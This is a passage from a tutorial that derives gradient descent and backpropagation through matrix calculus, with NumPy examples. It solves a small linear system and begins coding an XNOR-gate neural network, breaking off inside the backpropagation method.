case written below. + +$$ +F(\mathbf{x}) = {||A\mathbf{x}-\mathbf{b}||}_{2}^{2} +$$ + +### Matrix Calculus + +Now, what do the weird lines and two occurences of "2" above mean and how exactly do we calculate the derivative of a scalar in terms of a vector? Well we have to learn matrix calculus, a very peculiar domain of math that is very torturous. Ideally, you want to avoid this at all cost, but I will do a gentle walk through this stuff. + +Firstly, let's revise derivatives wth this simple example: + +$$ +\newcommand{\dv}[2]{\frac{\mathrm{d}{#1}}{\mathrm{d}{#2}}} +\newcommand{\ddv}[1]{\frac{\mathrm{d}}{\mathrm{d}{#1}}} +\begin{aligned} +y&=\sin(x^2)+5\\ +\dv{y}{x}&=\ddv{x}(\sin(x^2)+5)\\ +&=2x \cos(x^2) +\end{aligned} +$$ + +For functions with multiple variables, we can find the partial derivative with respect to each of the variables, as shown below: + +$$ +\newcommand{\pv}[2]{\frac{\partial {#1}}{\partial {#2}}} +\newcommand{\ppv}[1]{\frac{\partial}{\partial {#1}}} +\begin{aligned} +f(x,y)&=3xy+x^2\\ +\ppv{x}(f(x,y))&=3y+2x\\ +\ppv{y}(f(x,y))&=3x +\end{aligned} +$$ + +A thing to understand is that vectors are just a collection of numbers, so an n-sized vector will have n partial derivatives if the function is $f:\mathbb{R}^{n} \rightarrow \mathbb{R}$ (the derivative is known as the gradient). But do we represent these n partial derivatives as a column vector or row vector? + +$$ +\newcommand{\pv}[2]{\frac{\partial {#1}}{\partial {#2}}} +\newcommand{\ppv}[1]{\frac{\partial}{\partial {#1}}} +\pv{y}{\mathbf{x}} = +\begin{bmatrix} +\pv{y}{\mathbf{x}_{1}}\\ +\pv{y}{\mathbf{x}_{2}}\\ +\vdots\\ +\pv{y}{\mathbf{x}_{n}}\\ +\end{bmatrix} +$$ + +$$ +\newcommand{\pv}[2]{\frac{\partial {#1}}{\partial {#2}}} +\newcommand{\ppv}[1]{\frac{\partial}{\partial {#1}}} +\pv{y}{\mathbf{x}} = +\begin{bmatrix} +\pv{y}{\mathbf{x}_{1}} & \pv{y}{\mathbf{x}_{2}} & \cdots & \pv{y}{\mathbf{x}_{n}} +\end{bmatrix} +$$ + +Well, both actually can work (even if you think of a vector as a column vector), the first version is called the denominator layout and the second one is called the numerator layout. They are both transpositions of each other. For gradient descent the denominator layout is more natural because for standard practice because we think of a vector as a column vector. I also prefer the denominator layout. However, the numerator layout follows the rules of single variable calculus more normally and will be much easier to follow. For example, matrices do not have commutative multiplication so the direction you chain terms matters. We naturally think of chaining terms to the back and this is true for numerator layout but in denominator layout terms are chained to the front. Product rule also is more funny when it comes to denom layout. So moving forward we will stick with the numerator layout and transpose the matrix or vector once the derivative is found. We will also stick to column vectors. + +First lets look at the $A\mathbf{x}-\mathbf{b}$ term and we will see why the derivative is so and so with a simple $2 \times 2$ case. $A\mathbf{x}-\mathbf{b}$ is a $f:\mathbb{R}^{n} \rightarrow \mathbb{R}^{n}$ and hence the derivative will be a matrix (known as the Jacobian to many). Lets first, see the general equation and work it out for every value. + +$$ +\begin{aligned} +\mathbf{y} &= A\mathbf{x}-\mathbf{b}\\ +\begin{bmatrix} +{\mathbf{y}}_{1} \\ +{\mathbf{y}}_{2} +\end{bmatrix} +&= +\begin{bmatrix} +{a}_{11} & {a}_{12}\\ +{a}_{21} & {a}_{22}\\ +\end{bmatrix} +\begin{bmatrix} +{\mathbf{x}}_{1} \\ +{\mathbf{x}}_{2} +\end{bmatrix} +- +\begin{bmatrix} +{\mathbf{b}}_{1} \\ +{\mathbf{b}}_{2} +\end{bmatrix} \\ +&= +\begin{bmatrix} +{a}_{11}{\mathbf{x}}_{1} + {a}_{12}{\mathbf{x}}_{2}-{\mathbf{b}}_{1} \\ +{a}_{21}{\mathbf{x}}_{1} + {a}_{22}{\mathbf{x}}_{2}-{\mathbf{b}}_{2} +\end{bmatrix} +\end{aligned} +$$ + +Now we calculate the Jacobian (remember that it is transposed) by calculating the individual derivative for every value. + +$$ +\begin{aligned} +\frac{\partial \mathbf{y}}{\partial \mathbf{x}} &= +\begin{bmatrix} +\frac{\partial {\mathbf{y}}_{1}}{\partial{\mathbf{x}}_{1}} & \frac{\partial {\mathbf{y}}_{1}}{\partial{\mathbf{x}}_{2}}\\ +\frac{\partial {\mathbf{y}}_{2}}{\partial{\mathbf{x}}_{1}} & \frac{\partial {\mathbf{y}}_{2}}{\partial{\mathbf{x}}_{2}}\\ +\end{bmatrix} \\ +\frac{\partial {\mathbf{y}}_{1}}{\partial{\mathbf{x}}_{1}} &= {a}_{11}\\ +\frac{\partial {\mathbf{y}}_{1}}{\partial{\mathbf{x}}_{2}} &= {a}_{12}\\ +\frac{\partial {\mathbf{y}}_{2}}{\partial{\mathbf{x}}_{1}} &= {a}_{21}\\ +\frac{\partial {\mathbf{y}}_{2}}{\partial{\mathbf{x}}_{2}} &= {a}_{22}\\ +\frac{\partial \mathbf{y}}{\partial \mathbf{x}} &= +\begin{bmatrix} +{a}_{11} & {a}_{12}\\ +{a}_{21} & {a}_{22}\\ +\end{bmatrix} += A +\end{aligned} +$$ + +We see that it is kind of the same with single variable, where if we have $f(x)=ax$, then $f'(x)=a$ where a is constant. + +Now we look at the lines and "2"s. This is a common function known as the euclidean norm or 2-norm. + +$$ +\|{\mathbf {x}}\|_{2}:={\sqrt {x_{1}^{2}+\cdots +x_{n}^{2}}} +$$ + +We then square it giving rise to the second "2". Now we define and do the same thing we did with $A\mathbf{x}-\mathbf{b}$, $\|{\mathbf {y}}\|_{2}^{2}$ is $f:\mathbb{R}^{n} \rightarrow \mathbb{R}$. Hence, the derivative is a row vector. + +$$ +\begin{aligned} +z&=\|{\mathbf {y}}\|_{2}^{2}\\ +&={\mathbf {y}}_{1}^{2} + {\mathbf {y}}_{2}^{2} +\end{aligned} +$$ + +Now we calculate the Gradient (remember that it is transposed) by calculating the individual derivative for every value. + +$$ +\begin{aligned} +\frac{\partial F(\mathbf{x})}{\partial\mathbf{y}} &= +\begin{bmatrix} +\frac{\partial F(\mathbf{x})}{\partial{\mathbf{y}}_{1}} & \frac{\partial F(\mathbf{x})}{\partial{\mathbf{y}}_{2}} +\end{bmatrix} \\ +\frac{\partial F(\mathbf{x})}{\partial{\mathbf{y}}_{1}} &= 2\mathbf{y}_{1} \\ +\frac{\partial F(\mathbf{x})}{\partial{\mathbf{y}}_{2}} &= 2\mathbf{y}_{2} \\ +\frac{\partial F(\mathbf{x})}{\partial\mathbf{y}} &= +\begin{bmatrix} +2\mathbf{y}_{1} & 2\mathbf{y}_{2} +\end{bmatrix} += 2\mathbf{y}^{T} +\end{aligned} +$$ + +To illustrate the chain rule, I will calculate it individually and put it all together. + +$$ +\begin{aligned} +F(\mathbf{x}) &= {||A\mathbf{x}-\mathbf{b}||}_{2}^{2} \\ +&= {({a}_{11}{\mathbf{x}}_{1} + {a}_{12}{\mathbf{x}}_{2}-{\mathbf{b}}_{1})}^{2} + +{({a}_{21}{\mathbf{x}}_{1} + {a}_{22}{\mathbf{x}}_{2}-{\mathbf{b}}_{2})}^{2} \\ +\end{aligned} +$$ + +Now we calculate the Final Gradient by calculating the individual derivative for every value. + +$$ +\begin{aligned} +\frac{\partial F(\mathbf{x})}{\partial\mathbf{x}} &= +\begin{bmatrix} +\frac{\partial F(\mathbf{x})}{\partial{\mathbf{x}}_{1}} & \frac{\partial F(\mathbf{x})}{\partial{\mathbf{x}}_{2}} +\end{bmatrix}\\ +\frac{\partial F(\mathbf{x})}{\partial{\mathbf{x}}_{1}} &= 2{a}_{11}({a}_{11}{\mathbf{x}}_{1} + {a}_{12}{\mathbf{x}}_{2}-{\mathbf{b}}_{1}) + 2{a}_{21}({a}_{21}{\mathbf{x}}_{1} + {a}_{22}{\mathbf{x}}_{2}-{\mathbf{b}}_{2})\\ +\frac{\partial F(\mathbf{x})}{\partial{\mathbf{x}}_{2}} &= 2{a}_{12}({a}_{11}{\mathbf{x}}_{1} + {a}_{12}{\mathbf{x}}_{2}-{\mathbf{b}}_{1}) + 2{a}_{22}({a}_{21}{\mathbf{x}}_{1} + {a}_{22}{\mathbf{x}}_{2}-{\mathbf{b}}_{2})\\ +\frac{\partial F(\mathbf{x})}{\partial\mathbf{x}} &= +\begin{bmatrix} +2{a}_{11}({a}_{11}{\mathbf{x}}_{1} + {a}_{12}{\mathbf{x}}_{2}-{\mathbf{b}}_{1}) + 2{a}_{21}({a}_{21}{\mathbf{x}}_{1} + {a}_{22}{\mathbf{x}}_{2}-{\mathbf{b}}_{2}) & 2{a}_{12}({a}_{11}{\mathbf{x}}_{1} + {a}_{12}{\mathbf{x}}_{2}-{\mathbf{b}}_{1}) + 2{a}_{22}({a}_{21}{\mathbf{x}}_{1} + {a}_{22}{\mathbf{x}}_{2}-{\mathbf{b}}_{2}) +\end{bmatrix}\\ +&= 2 +\begin{bmatrix} +{a}_{11}{\mathbf{x}}_{1} + {a}_{12}{\mathbf{x}}_{2}-{\mathbf{b}}_{1} & +{a}_{21}{\mathbf{x}}_{1} + {a}_{22}{\mathbf{x}}_{2}-{\mathbf{b}}_{2} +\end{bmatrix} +\begin{bmatrix} +{a}_{11} & {a}_{12} \\ +{a}_{21} & {a}_{22} \\ +\end{bmatrix} = 2{(A\mathbf{x}-\mathbf{b})}^{T}A +\end{aligned} +$$ + +As we can see from that last step, its pretty complex an expression, but you can see how neat matrix notation is as compared to writing all that out and you see how matrix calculus works. With numerator layout, its very similar to single-variable but with a few extra steps. + +I then transpose the derivative back into the denominator layout written below. The step function is also written below which we will use for the gradient descent. + +$$ +\begin{aligned} +F(\mathbf{x}) &= {||A\mathbf{x}-\mathbf{b}||}^{2} \\ +\nabla F(\mathbf {x} ) &= 2 A^{T}(A\mathbf {x} -\mathbf{b}) \\ +\mathbf{x}_{n+1} &= \mathbf{x}_{n}-\gamma \nabla F(\mathbf {x} _{n}) +\end{aligned} +$$ + +where $\gamma$ is the learning rate, we need a small learning rate as it prevents the function from taking large steps and objective functions tend to overblow the "true" error of a function. + +We can now implement this in code form for a very simple linear system written below: + +$$ +\begin{aligned} +w+3x+2y-z=9\\ +5w+2x+y-2z=4\\ +x+2y+4z=24\\ +w+x-y-3z=-12 +\end{aligned} +$$ + +This can be written as such in matrix form: + +$$ +\begin{bmatrix} +1 & 3 & 2 & -1\\ +5 & 2 & 1 & -2\\ +0 & 1 & 2 & 4\\ +1 & 1 & -1 & -3 +\end{bmatrix} +\begin{bmatrix} +w\\ +x\\ +y\\ +z +\end{bmatrix} += +\begin{bmatrix} +9\\ +4\\ +24\\ +-12 +\end{bmatrix} +$$ + +### Code Implementation + +#### Variables + +$$ +A= +\begin{bmatrix} +1 & 3 & 2 & -1\\ +5 & 2 & 1 & -2\\ +0 & 1 & 2 & 4\\ +1 & 1 & -1 & -3 +\end{bmatrix} +$$ + +```python +>>> A = np.array([[1,3,2,-1],[5,2,1,-2],[0,1,2,4],[1,1,-1,-3]], dtype=np.float64) +>>> A +array([[ 1., 3., 2., -1.], + [ 5., 2., 1., -2.], + [ 0., 1., 2., 4.], + [ 1., 1., -1., -3.]]) +``` + +$$ +\mathbf{b}= +\begin{bmatrix} +9\\ +4\\ +24\\ +-12 +\end{bmatrix} +$$ + +```python +>>> b = np.array([[9],[4],[24],[-12]], dtype=np.float64) +>>> b +array([[ 9.], + [ 4.], + [ 24.], + [-12.]]) +``` + +$$ +\mathbf{x}= +\begin{bmatrix} +w\\ +x\\ +y\\ +z +\end{bmatrix} +$$ + +```python +>>> x = np.random.rand(4,1) +>>> x +array([[0.09257854], + [0.16847643], + [0.39120624], + [0.78484474]]) +``` + +#### The Objective Function and its Derivative + +$$ +F(\mathbf{x}) = {||A\mathbf{x}-\mathbf{b}||}^{2} +$$ + +```python +>>> def objective_function(x): + return np.linalg.norm(np.matmul(A,x) - b) ** 2 +``` + +$$ +\nabla F(\mathbf {x} )=2A^{T}(A\mathbf {x} -\mathbf {b}) +$$ + +```python +>>> def objective_function_derivative(x): + return 2 * np.matmul(A.T, np.matmul(A,x) - b) +``` + +In this case, I implemented an arbritary learning rate and arbritary step count. In traditional non-machine learning gradient descent, the learning rate changes per step and is determined via a heuristic such as the Barzilai–Borwein method, however this is not necessary as gradient descent is very robust. I used an arbritary step count for simplicity but you should ideally use some sort of boolean condition to break the loop such as $F(\mathbf{x})<0.01$. + +$$ +\mathbf {x}_{n+1}=\mathbf {x}_{n}-\gamma \nabla F(\mathbf {x} _{n}) +$$ + +```python +>>> learning_rate = 0.01 +>>> for i in range(5000): + x -= learning_rate * objective_function_derivative(x) +>>> x +array([[1.], + [2.], + [3.], + [4.]]) +``` + +And to check, we now use a simple matrix multiplication: + +```python +>>> np.matmul(A,x) +array([[ 9.], + [ 4.], + [ 24.], + [-12.]]) +``` + +Voila, we have solved the equation with gradient descent, and the solution is super close. This shows the power of gradient descent. + +## Deep Neural Network Layer + +To understand the math behind a deep neural network layer, we will first look at the single perceptron case. + +![single perceptron example](./single_perceptron_example.png) + +$$ +z=xw+b\\ +a=\sigma (z) +$$ + +where $w$ is the weight, $b$ is the bias, $x$ is the input, $\sigma$ is the activation function and $a$ is the output. + +We assume that this is a single layer network and that the loss function is just applied after, and we will just use the MSE loss. + +$$c = {(a-y)}^2$$ + +where $y$ is the true y, $c$ is the cost. + +In this case, it is quite easy to represent. Let us expand it to a layer with 4 input neurons and 4 output neurons. + +![multiple perceptron example](./multiple_perceptron_example.png) + +$$ +\begin{aligned} +{w}_{11}{x}_{1} + {w}_{21}{x}_{2} + {w}_{31}{x}_{3} + {w}_{41}{x}_{4} + {b}_{1} = &{z}_{1}\\ +{w}_{12}{x}_{1} + {w}_{22}{x}_{2} + {w}_{32}{x}_{3} + {w}_{42}{x}_{4} + {b}_{2} = &{z}_{2}\\ +{w}_{13}{x}_{1} + {w}_{23}{x}_{2} + {w}_{33}{x}_{3} + {w}_{43}{x}_{4} + {b}_{3} = &{z}_{3}\\ +{w}_{14}{x}_{1} + {w}_{24}{x}_{2} + {w}_{34}{x}_{3} + {w}_{44}{x}_{4} + {b}_{4} = &{z}_{4}\\ +{a}_{1}=\sigma(&{z}_{1})\\ +{a}_{2}=\sigma(&{z}_{2})\\ +{a}_{3}=\sigma(&{z}_{3})\\ +{a}_{4}=\sigma(&{z}_{4})\\ +c = \frac{1}{4} \left((a_1-y_1)^2 + (a_2 - y_2)^2 + (a_3 - y_3)^2 + (a_4 - y_4)^2\right) +\end{aligned} +$$ + +As you can see, this is just a linear system much like the one showed in the example and it becomes very simple. + +$$ +\begin{aligned} +\mathbf{z} &= W\mathbf{x} + \mathbf{b}\\ +\mathbf{a} &= \sigma(\mathbf{z}) \\ +c &= \frac{1}{n} ||\mathbf{a} - \mathbf{y}||^2_2 +\end{aligned} +$$ + +From our work earlier we know that: + +$$ +\begin{aligned} +\frac{\partial \mathbf{z}}{\partial \mathbf{b}}&=I \\ +\frac{\partial \mathbf{z}}{\partial \mathbf{x}}&= W \\ +\frac{\partial c}{\partial \mathbf{a}} &= \frac{2}{n} \left(\mathbf{a} - \mathbf{y} \right)^\text{T} +\end{aligned} +$$ + +However we have once again hit a speedbump. How do we find the derivative of a vector $\mathbf{z}$ with respect to a matrix $W$? The function is of the form $f:\mathbb{R}^{m \times n} \rightarrow \mathbb{R}^{m}$. Hence, the derivative will be a third order tensor also known as a 3D matrix. (colloquially) But for now we will use a trick to dodge the usage of third order tensors because of the nature of the function $W\mathbf{x}$. For this example, I use $m=3$ and $n=2$ but its generalizable for any sizes. + +$$ +\begin{aligned} +\mathbf{z} = W\mathbf{x} + \mathbf{b}\\ +\begin{bmatrix} +{\mathbf{z}}_{1} \\ +{\mathbf{z}}_{2} \\ +{\mathbf{z}}_{3} +\end{bmatrix} &= \begin{bmatrix} +{w}_{11} & {w}_{12}\\ +{w}_{21} & {w}_{22}\\ +{w}_{31} & {w}_{32}\\ +\end{bmatrix} +\begin{bmatrix} +{\mathbf{x}}_{1} \\ +{\mathbf{x}}_{2} +\end{bmatrix} ++ +\begin{bmatrix} +{\mathbf{b}}_{1} \\ +{\mathbf{b}}_{2} \\ +{\mathbf{b}}_{3} +\end{bmatrix} \\ +&= +\begin{bmatrix} +{w}_{11}{\mathbf{x}}_{1} + {w}_{12}{\mathbf{x}}_{2} + {\mathbf{b}}_{1}\\ +{w}_{21}{\mathbf{x}}_{1} + {w}_{22}{\mathbf{x}}_{2} + {\mathbf{b}}_{2}\\ +{w}_{31}{\mathbf{x}}_{1} + {w}_{32}{\mathbf{x}}_{2} + {\mathbf{b}}_{3}\\ +\end{bmatrix} +\end{aligned} +$$ + +We now calculate the individual derivatives of $\mathbf{z}$ wrt to $W$. + +$$ +\begin{aligned} +\frac{\partial \mathbf{z}_{1}}{\partial w_{11}}=\mathbf{x}_{1}\quad +\frac{\partial \mathbf{z}_{2}}{\partial w_{11}}=0\quad +\frac{\partial \mathbf{z}_{3}}{\partial w_{11}}=0\\ +\frac{\partial \mathbf{z}_{1}}{\partial w_{12}}=\mathbf{x}_{2}\quad +\frac{\partial \mathbf{z}_{2}}{\partial w_{12}}=0\quad +\frac{\partial \mathbf{z}_{3}}{\partial w_{12}}=0\\ +\frac{\partial \mathbf{z}_{1}}{\partial w_{21}}=0\quad +\frac{\partial \mathbf{z}_{2}}{\partial w_{21}}=\mathbf{x}_{1}\quad +\frac{\partial \mathbf{z}_{3}}{\partial w_{21}}=0\\ +\frac{\partial \mathbf{z}_{1}}{\partial w_{22}}=0\quad +\frac{\partial \mathbf{z}_{2}}{\partial w_{22}}=\mathbf{x}_{2}\quad +\frac{\partial \mathbf{z}_{3}}{\partial w_{22}}=0\\ +\frac{\partial \mathbf{z}_{1}}{\partial w_{31}}=0\quad +\frac{\partial \mathbf{z}_{2}}{\partial w_{31}}=0\quad +\frac{\partial \mathbf{z}_{3}}{\partial w_{31}}=\mathbf{x}_{1}\\ +\frac{\partial \mathbf{z}_{1}}{\partial w_{32}}=0\quad +\frac{\partial \mathbf{z}_{2}}{\partial w_{32}}=0\quad +\frac{\partial \mathbf{z}_{3}}{\partial w_{32}}=\mathbf{x}_{2}\\ +\end{aligned} +$$ + +We see that this is a pretty complex looking tensor but we see that a majority of the values are 0 allowing us to pull of an epic hack by considering the fact that at the end we are essentially trying to get a singular scalar value (the loss) and find the partial derivative of that wrt to $W$. There are some steps involved in getting from $\mathbf{z}$ to $c$ but for simplicity instead of showing everything, we will condense all of this into a function $f:\mathbb{R}^{n} \rightarrow \mathbb{R}$ which is defined as $c=f(\mathbf{z})$. In this case, we know the tensor values and we know the gradient and what the derivative should be. Hence, we now just evaluate it and see if we can see any property: + +$$ +\begin{aligned} +\frac{\partial c}{\partial\mathbf{z}} &= +\begin{bmatrix} +\frac{\partial c}{\partial{\mathbf{z}}_{1}} & \frac{\partial c}{\partial{\mathbf{z}}_{2}} & \frac{\partial c}{\partial{\mathbf{z}}_{2}} +\end{bmatrix} \\ +\frac{\partial c}{\partial W} = +\begin{bmatrix} +\frac{\partial c}{\partial{w}_{11}} & \frac{\partial c}{\partial{w}_{21}} & \frac{\partial c}{\partial{w}_{31}}\\ +\frac{\partial c}{\partial{w}_{12}} & \frac{\partial c}{\partial{w}_{22}} & \frac{\partial c}{\partial{w}_{32}} +\end{bmatrix} += +\frac{\partial c}{\partial \mathbf{z}}\frac{\partial \mathbf{z}}{\partial \mathbf{W}} +&= +\begin{bmatrix} +\frac{\partial c}{\partial{\mathbf{z}}_{1}}\frac{\partial {\mathbf{z}}_{1}}{\partial{w}_{11}} & \frac{\partial c}{\partial{\mathbf{z}}_{2}}\frac{\partial {\mathbf{z}}_{2}}{\partial{w}_{21}} & \frac{\partial c}{\partial{\mathbf{z}}_{3}}\frac{\partial {\mathbf{z}}_{3}}{\partial{w}_{31}}\\ +\frac{\partial c}{\partial{\mathbf{z}}_{1}}\frac{\partial {\mathbf{z}}_{1}}{\partial{w}_{12}} & \frac{\partial c}{\partial{\mathbf{z}}_{2}}\frac{\partial {\mathbf{z}}_{2}}{\partial{w}_{22}} & \frac{\partial c}{\partial{\mathbf{z}}_{3}}\frac{\partial {\mathbf{z}}_{3}}{\partial{w}_{32}} +\end{bmatrix} += +\begin{bmatrix} +\frac{\partial c}{\partial{\mathbf{z}}_{1}}\mathbf{x}_{1} & \frac{\partial c}{\partial{\mathbf{z}}_{2}}\mathbf{x}_{1} & \frac{\partial c}{\partial{\mathbf{z}}_{3}}\mathbf{x}_{1}\\ +\frac{\partial c}{\partial{\mathbf{z}}_{1}}\mathbf{x}_{2} & \frac{\partial c}{\partial{\mathbf{z}}_{2}}\mathbf{x}_{2} & \frac{\partial c}{\partial{\mathbf{z}}_{3}}\mathbf{x}_{2} +\end{bmatrix} += +\mathbf{x}\frac{\partial c}{\partial\mathbf{z}} +\end{aligned} +$$ + +Wonderful, we have just found out this amazing method, where we just add $\mathbf{x}$ to the front. Normally this method is not possible but it is just possible in this special case as we dont have to consider terms such as $\frac{\partial c}{\partial{\mathbf{z}}_{2}}\frac{\partial {\mathbf{z}}_{2}}{\partial{w}_{11}}$ because they are just 0. It helps us dodge all the possibilites of tensor calculus (at least for now) and allows the NumPy multiplication to be much easier. $f$ can also generalize for any vector to scalar function, not just the specific steps we make. + +The next speedbump is much more easier to grasp than the last one, and that is element-wise operations. In this case, we have the activation function $\sigma:\mathbb{R}^{n} \rightarrow \mathbb{R}^{n}$ or $\sigma:\mathbb{R} \rightarrow \mathbb{R}$, which looks like a sigmoid function, but this is just a placeholder function. It can be any $\mathbb{R}$ to $\mathbb{R}$ activation function, such as $\text{RELU}(x) = \text{max}(x, 0)$, or whatever else has been found in research, such as SMELU and GELU. Once again, we work it out for every single value, as shown below: + +$$ +\begin{aligned} +\mathbf{a} &= \sigma(\mathbf{z})\\ +\begin{bmatrix} +{\mathbf{a}}_{1} \\ +{\mathbf{a}}_{2} \\ +{\mathbf{a}}_{3} +\end{bmatrix} +&= +\sigma\left( +\begin{bmatrix} +{\mathbf{z}}_{1} \\ +{\mathbf{z}}_{2} \\ +{\mathbf{z}}_{3} +\end{bmatrix}\right) += +\begin{bmatrix} +\sigma({\mathbf{z}}_{1}) \\ +\sigma({\mathbf{z}}_{2}) \\ +\sigma({\mathbf{z}}_{3}) +\end{bmatrix} +\end{aligned} +$$ + +Now for the 48th billion time, we calculate the Jacobian by calculating every individual derivative to get the general property of the operation. + +$$ +\begin{aligned} +\frac{\partial \mathbf{a}}{\partial \mathbf{z}} &= +\begin{bmatrix} +\frac{\partial {\mathbf{a}}_{1}}{\partial{\mathbf{z}}_{1}} & \frac{\partial {\mathbf{a}}_{1}}{\partial{\mathbf{z}}_{2}}& \frac{\partial {\mathbf{a}}_{1}}{\partial{\mathbf{z}}_{3}}\\ +\frac{\partial {\mathbf{a}}_{2}}{\partial{\mathbf{z}}_{1}} & \frac{\partial {\mathbf{a}}_{2}}{\partial{\mathbf{z}}_{2}} & \frac{\partial {\mathbf{a}}_{2}}{\partial{\mathbf{z}}_{3}}\\ +\frac{\partial {\mathbf{a}}_{3}}{\partial{\mathbf{z}}_{1}} & \frac{\partial {\mathbf{a}}_{3}}{\partial{\mathbf{z}}_{2}} & \frac{\partial {\mathbf{a}}_{3}}{\partial{\mathbf{z}}_{3}} +\end{bmatrix}\\ +\frac{\partial {\mathbf{a}}_{1}}{\partial{\mathbf{z}}_{1}}=\sigma^{'}(\mathbf{z}_{1})\quad +\frac{\partial {\mathbf{a}}_{1}}{\partial{\mathbf{z}}_{2}}&=0\quad +\frac{\partial {\mathbf{a}}_{1}}{\partial{\mathbf{z}}_{3}}=0\\ +\frac{\partial {\mathbf{a}}_{2}}{\partial{\mathbf{z}}_{1}}=0\quad +\frac{\partial {\mathbf{a}}_{2}}{\partial{\mathbf{z}}_{2}}&=\sigma^{'}(\mathbf{z}_{2})\quad +\frac{\partial {\mathbf{a}}_{2}}{\partial{\mathbf{z}}_{3}}=0\\ +\frac{\partial {\mathbf{a}}_{3}}{\partial{\mathbf{z}}_{1}}=0\quad +\frac{\partial {\mathbf{a}}_{3}}{\partial{\mathbf{z}}_{2}}&=0\quad +\frac{\partial {\mathbf{a}}_{3}}{\partial{\mathbf{z}}_{3}}=\sigma^{'}(\mathbf{z}_{3})\\ +\frac{\partial \mathbf{a}}{\partial \mathbf{z}} &= +\begin{bmatrix} +\sigma^{'}(\mathbf{z}_{1}) & 0 & 0\\ +0 & \sigma^{'}(\mathbf{z}_{2}) & 0\\ +0 & 0 & \sigma^{'}(\mathbf{z}_{3})\\ +\end{bmatrix} +=diag(\sigma^{'}(\mathbf{z})) +\end{aligned} +$$ + +As you see, we can reduce this derivative to this specific value. I have used the $diag$ operator which converts a vector to a diagonal matrix. Finally, after all this derivation (mathematically and figuratively) we can use chain rule to join everything together: + +$$ +\begin{aligned} +\frac{\partial c}{\partial \mathbf{b}}=\frac{\partial c}{\partial \mathbf{a}}\frac{\partial \mathbf{a}}{\partial \mathbf{z}}\frac{\partial \mathbf{z}}{\partial \mathbf{b}} +&= +\frac{2}{n}{(\mathbf{a}-\mathbf{y})}^{T}diag(\sigma^{'}(\mathbf{z}))\\ +\frac{\partial c}{\partial \mathbf{x}}=\frac{\partial c}{\partial \mathbf{a}}\frac{\partial \mathbf{a}}{\partial \mathbf{z}}\frac{\partial \mathbf{z}}{\partial \mathbf{x}} +&= +\frac{2}{n}{(\mathbf{a}-\mathbf{y})}^{T}diag(\sigma^{'}(\mathbf{z}))W\\ +\frac{\partial c}{\partial W}=\frac{\partial c}{\partial \mathbf{a}}\frac{\partial \mathbf{a}}{\partial \mathbf{z}}\frac{\partial \mathbf{z}}{\partial W} +&= +\frac{2}{n}\mathbf{x}{(\mathbf{a}-\mathbf{y})}^{T}diag(\sigma^{'}(\mathbf{z})) +\end{aligned} +$$ + +Now that we got these simple definitions for the single-layer case, we can expand it to the multi-layer case. + +$$ +\begin{aligned} +\mathbf{a}_{0}&=\mathbf{x}\\ +\mathbf{z}_{i}&={W}_{i-1}{\mathbf{a}}_{i-1} + \mathbf{b}_{i-1}\\ +\mathbf{a}_{i}&=\sigma(\mathbf{z}_{i})\\ +i &= 1,2,3,...,L\\ +c&=\frac{1}{n}\|{\mathbf{a}-\mathbf {y}}\|_{2}^{2} +\end{aligned} +$$ + +We can do the calculus for the $i$-th layer now, specifically for bias and weight using the chain rule. + +$$ +\begin{aligned} +\frac{\partial c}{\partial \mathbf{b}_{i-1}}=\frac{\partial c}{\partial \mathbf{a}_{L}}\frac{\partial \mathbf{a}_L}{\partial \mathbf{z}_{L}}\frac{\partial \mathbf{z}_{L}}{\partial \mathbf{a}_{L-1}}\cdots\frac{\partial \mathbf{a}_{i}}{\partial \mathbf{z}_{i}}\frac{\partial \mathbf{z}_{i}}{\partial \mathbf{b}_{i-1}}&= +\frac{2}{n}{(\mathbf{a}_L-\mathbf{y})}^{T}diag(\sigma^{'}(\mathbf{z}_L))W_{L-1}\cdots diag(\sigma^{'}(\mathbf{z}_i))\\ +\frac{\partial c}{\partial W_{i-1}}=\frac{\partial c}{\partial \mathbf{a}_{L}}\frac{\partial \mathbf{a}_L}{\partial \mathbf{z}_{L}}\frac{\partial \mathbf{z}_{L}}{\partial \mathbf{a}_{L-1}}\cdots\frac{\partial \mathbf{a}_{i}}{\partial \mathbf{z}_{i}}\frac{\partial \mathbf{z}_{i}}{\partial W_{i-1}}&= +\frac{2}{n}\mathbf{a}_{i-1}{(\mathbf{a}_L-\mathbf{y})}^{T}diag(\sigma^{'}(\mathbf{z}_L))W_{L-1}\cdots diag(\sigma^{'}(\mathbf{z}_i))\\ +i &= 1,2,3,...,L +\end{aligned} +$$ + +Now it is time to actually implement this network (finally). + +## Neural Network Implementation (XNOR Gate) + +I couldn't find a good, but rather small dataset because most people really do like large datasets and are infuriated when they are not provided that like ~~entitled brats~~ normal people. So, instead, I decided that we will train our neural network to mimic the XNOR gate. + +Oh no! Training? Testing? What is that? In all fairness, I am simply trying to show you that the mathematical functions that dictate neural networks as we have found above, fits perfectly with this task of a neural network, and that these neural networks that everyone hears about can really just mimic any function. + +![XNOR input output](./XNOR_input_output.png) + +For those who do not know, the XNOR gates inputs and outputs are written above. It is pretty suitable for this example, because the inputs and outputs are all 0 and 1, hence it is fast to train and there is no bias in the data. + +From here, let's try coding out the (x,y) pairs in NumPy: + +```python +data = [[np.array([[0],[0]], dtype=np.float64),np.array([[1]], dtype=np.float64)], + [np.array([[0],[1]], dtype=np.float64),np.array([[0]], dtype=np.float64)], + [np.array([[1],[0]], dtype=np.float64),np.array([[0]], dtype=np.float64)], + [np.array([[1],[1]], dtype=np.float64),np.array([[1]], dtype=np.float64)]] +``` + +We then define a network structure. It doesn't have to be too complex because it is a pretty simple function. I decided on a $2 \rightarrow 3 \rightarrow 1$ multi-layer perceptron (MLP) structure, with the sigmoid activation function. + +![multiple perceptron network](./multiple_perceptron_network.png) + +Next, let's try coding out our mathematical work based off the following class: + +```python +class NNdata: + def __init__(self): + self.a_0 = None + self.W_0 = np.random.rand(3,2) + self.b_0 = np.random.rand(3,1) + self.z_1 = None + self.a_1 = None + self.W_1 = np.random.rand(1,3) + self.b_1 = np.random.rand(1,1) + self.z_2 = None + self.a_2 = None + self.db_1 = None + self.dw_1 = None + self.db_0 = None + self.dw_0 = None + + def sigmoid(self, x): + return 1 / (1 + np.exp(-x)) + + def sigmoid_derivative(self, x): + return self.sigmoid(x) * (1 - self.sigmoid(x)) + + def feed_forward(self, x): + self.a_0 = x + + self.z_1 = np.matmul(self.W_0, self.a_0)+self.b_0 + self.a_1 = self.sigmoid(self.z_1) + + self.z_2 = np.matmul(self.W_1, self.a_1)+self.b_1 + self.a_2 = self.sigmoid(self.z_2) + return self.a_2 + + def loss(self, y): + return np.linalg.norm(self.a_2-y)**2 + + def back_prop(self, y): + dcdz_2 = 2 * 